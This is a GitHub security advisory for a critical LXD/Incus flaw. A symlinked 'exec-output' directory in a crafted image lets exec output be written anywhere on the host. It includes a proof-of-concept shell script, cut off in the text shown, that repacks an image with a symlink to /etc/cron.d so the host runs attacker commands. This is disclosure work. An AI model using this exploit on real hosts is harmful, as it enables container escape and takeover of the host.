GHSA-9j25-mm2h-2f76: LXD has arbitrary file write on host via `exec-output` symlink in crafted image

  • Severity: CRITICAL
  • Ecosystems: go
  • Packages: github.com/canonical/lxd

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

### Summary

The `record-output` parameter of the `/instances/$name/exec` endpoint
stores the output of the command in the `exec-output` directory of the
instance. If `exec-output` is a symlink, file named `exec_UUID.stdout`
and `exec_UUID.stderr` can be written to an arbitrary location where
the `.stdout` file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.

### Details

When an image is unpacked, top-level symlinks are extracted as is;
allowing for `exec-output` to be placed on disk. In `instance_exec.go`,
`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows
the `exec-output` symlink.

### PoC

Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on
the host for arbitrary command execution.

“`
#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp=”${1}”

die() {
printf ‘%s’ “${@}” >&2
exit 1
}

command -v curl >/dev/null 2>&1 || die ‘error: curl not found\n’
command -v python3 >/dev/null 2>&1 || die ‘error: python3 not found\n’

tmpdir=$(mktemp -d)
cleanup() {
rm -rf “${tmpdir}”
}
trap cleanup EXIT INT QUIT TERM HUP

# insert exec-output symlink

incus image export “${basefp}” “${tmpdir}/img”

mkdir “${tmpdir}/repack”
cd “${tmpdir}/repack”

xz -cd “${tmpdir}/img” | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >”${tmpdir}/img”

cd – >/dev/null
incus image import “${tmpdir}”/i…

Source: GitHub Security Advisories · 2026-11-06